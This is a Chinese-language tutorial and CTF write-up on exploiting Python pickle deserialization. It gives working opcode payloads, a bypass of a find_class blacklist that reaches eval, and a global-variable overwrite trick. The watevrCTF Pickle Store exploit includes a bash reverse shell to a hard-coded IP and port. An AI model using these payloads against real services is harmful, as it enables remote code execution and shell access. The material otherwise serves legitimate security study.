pickle反序列化
序列化:dumps()、dump()
反序列化:loads()、load()
import pickle
class People:
def __init__(self,name):
self.name=name
def say(self):
print("people")
# Press the green button in the gutter to run the script.
if __name__ == '__main__':
a=People("penson")
c=pickle.dumps(a)
print(c)
b =pickle.loads(c)
print(b.name)
__reduce__魔术方法
import os
import pickle
class People:
def __init__(self,name):
self.name=name
def say(self):
print("people")
def __reduce__(self):
return (os.system, ('whoami',))
if __name__ == '__main__':
a=People("penson")
c=pickle.dumps(a)
print(c)
b =pickle.loads(c)
print(b.name)
我们可以发现经过反序列化的时候会直接返回__reduce__魔术方法的结果即os.system('whoami')的返回结果这也是为啥会报错的原因
其实这里也就相当于php反序列化的魔法方法一个意思
接着呢看到
python3和python2中的序列化数据
python3
python2
这里其实是PVM(python 虚拟机) 了,它是实现 Python 序列化和反序列化的最根本的东西
重点是PVM操作码,搜索pickle.py就会有的,o这些数据称为opcode ,会看到大量 push 和对 stack 进行的操作,最后栈顶的元素会作为反序列化的结果返回给调用者
先举三个简单的例子
def demo_1():
opcode=b'''cos
system
(S'whoami'
tR.'''
return opcode
if __name__ == '__main__':
opcode=demo_1()
pickle.loads(opcode)
0: c GLOBAL 'os system'
11: ( MARK
12: S STRING 'whoami'
22: t TUPLE (MARK at 11)
23: R REDUCE
24: . STOP
os.system('ls')
def demo_2():
opcode=b'''(S'whoami'
ios
system
.'''
return opcode
if __name__ == '__main__':
opcode=demo_2()
pickletools.dis(opcode)
pickle.loads(opcode)
0: ( MARK
1: S STRING 'whoami'
11: i INST 'os system' (MARK at 0)
22: . STOP
def demo_3():
opcode=b'''(cos
system
S'whoami'
o.'''
return opcode
if __name__ == '__main__':
opcode=demo_3()
pickletools.dis(opcode)
pickle.loads(opcode)
0: ( MARK
1: c GLOBAL 'os system'
12: S STRING 'whoami'
22: o OBJ (MARK at 0)
23: . STOP
highest protocol among opcodes = 1
可以发现成功执行了系统命令
pvm操作码 | 意思 | 用法 |
---|---|---|
c | 获取模块(import),第一个参数为 modname ,第二个参数为 name |
c[模块名]\n[调用的对象] |
R | 从栈上弹出两个元素,分别是可执行对象和元组,并执行,结果压入栈中 | |
o | 寻找mark上的第一个元素为类或可调用的对象,之后的元素为其参数 | |
s | 设置键值对 | }T1\nT2\ns. |
t | 寻找栈的上一个mark,并作为元组 | |
i | 和c,o组合,找上一个mark标志,并组成元组且以该元组为参数,后面的元素作为对象调用 | i[模块名]\n[调用的对象] |
( | 为压入一个对象,用以构建 元组、列表 等对象或调用函数时标识数据的开始位置 | |
p | 将栈顶的元素存储到memo(就是一个标记)中,p后面跟一个数字,就是表示这个元素在memo中的索引 | p0 |
V | 压入一个字符串 | |
g | 将memo_n的对象压栈 | g0 |
接下来以几个例题来巩固一下
[watevrCTF-2019]Pickle Store
意思很明显了,要我们买那个flag的黄瓜,但钱是不够的
抓包也没什么发现,对于这种python的题,要是没任何发现的话,就从session下手
用工具解一下
https://github.com/noraj/flask-session-cookie-manager
发现是python反序列化的东西,可以整出来load看看
import pickle
text=b'\x80\x03}q\x00(X\x05\x00\x00\x00moneyq\x01M\x90\x01X\x07\x00\x00\x00historyq\x02]q\x03X\x14\x00\x00\x00Yummy sm\xc3\xb6rg\xc3\xa5sgurkaq\x04aX\x10\x00\x00\x00anti_tamper_hmacq\x05X \x00\x00\x00464fb519eccd90037ca807319d45786dq\x06u.'
print(pickle.loads(text))
这里可能有人会说改成1000会咋样
那我们试试
可以发现还是没用的,原因就可能在anti_tamper_hmac
这里有pickle,就可以直接用opcode来rce
由此构造exp
import base64
def exp():
opcode=b'''cos
system
(S"bash -c 'bash -i >& /dev/tcp/47.96.31.86/2333 0>&1'"
tR.'''
return opcode
if __name__ == '__main__':
opcode=exp()
print(base64.b64encode(opcode).decode())
一个非常绕的绕过技巧
来自p神知识星球
了解pickle.Unpickler.find_class()
就是继承这个类,然后去实现find_class方法就能对opcode进行过滤
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
def find_class(self, module, name):
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
看到源代码里并不难懂,就是只能用builtins模块,而且放了黑名单
builtins
模块在Python中实际上就是不需要import就能使用的模块,比如常见的open
、__import__
、eval
、input
这种内置函数,都属于builtins
模块
用之前的opcode试试
源码里还禁了函数,而在ssti模板注入绕过的时候常常会用到getattr()方法来获取所需要的函数
先看个样例
opcode = b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tR.'''
print(pickle.loads(opcode))
先看到第一个tR
其实就是相当于
builtins.getattr(builtins.dict,'get')
t:获取mark标志的位置并弄成元组,R:从栈上弹出两个元素,分别是可执行对象和元组,并执行,结果压入栈中
第二个tR
print(builtins.dict(builtins.globals()))
因为globals是一个无参函数,所以mark标记为空能调用了
cbuiltins
globals
(tR
可以这样看
第三个tR
builtins.getattr(builtins.dict(builtins.globals()),'get')('builtins')
因为之前第一个tR已经实例化好了,而第二个tR又builtins.dict给用了,所以第三个tr就要用到第一个tR已经实例化好的对象即builtins.getattr(builtins.dict(builtins.globals()),'get')对象然后参数就是字符窜builtins
接下来构造exp
exp=b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("whoami")'
tR.'''
pickle.loads(exp)
print(builtins.getattr(builtins.dict(builtins.globals()), 'get')('builtins').getattr(builtins.getattr(builtins.dict(builtins.globals()), 'get')('builtins'),'eval'))
先看到他是怎样调用eval的
cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
这里有一个p1操作,就是将之前分析的三个tr(builtins.getattr(builtins.dict(builtins.globals()), 'get')('builtins'))
压栈进memo的第一个位置
cbuiltins
getattr
(g1
S'eval'
tR.
这里就很容易看懂了,g1就是将p1的数据取出来压栈
即builtins.getattr(builtins.getattr(builtins.dict(builtins.globals()), 'get')('builtins'),'eval')
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("whoami")'
tR.
这个就很简单了
刚刚上面实例化好的和下面的mark进行调用
builtins.getattr(builtins.getattr(builtins.dict(builtins.globals()), 'get')('builtins'),'eval')('__import__("os").system("whoami")')
一个非常绕的trick就这样出现了
这样子就满了条件,可以成功绕过
全局变量覆盖
这里写了一个小demo
1.py
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
print(module,name)
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
opcode=b''''''
print(RestrictedUnpickler(io.BytesIO(opcode)).load())
config.py
import os
secrect={'isadmin':0}
def rce(exec):
if secrect['isadmin']==1:
os.system(exec)
else:
print("error")
我们尝试利用pickle反序列化调用config模块的rce方法
而rce方法必须要isadmin等于1才能rce
所以还是需要利用opcode来进行修改全局变量
exp1
opcode=b'''cconfig
secrect
S'isadmin'
I1
s.'''
# print(RestrictedUnpickler(io.BytesIO(opcode)).load())
pickle.loads(opcode)
print(config.secrect)
然后再调用config的rce方法
cconfig
rce
(S"whoami"
tR.
组合一下
exp
opcode=b'''cconfig
secrect
S'isadmin'
I1
scconfig
rce
(S"whoami"
tR.'''
RestrictedUnpickler(io.BytesIO(opcode)).load()
这样成功修改了变量
当然还有工具
https://github.com/EddieIvan01/pker
创建一个文件
secrect = GLOBAL('config', 'secrect')
secrect['isadmin'] = 1
rce = GLOBAL('config', 'rce')
rce("whoami")
return
python3 pker.py < 1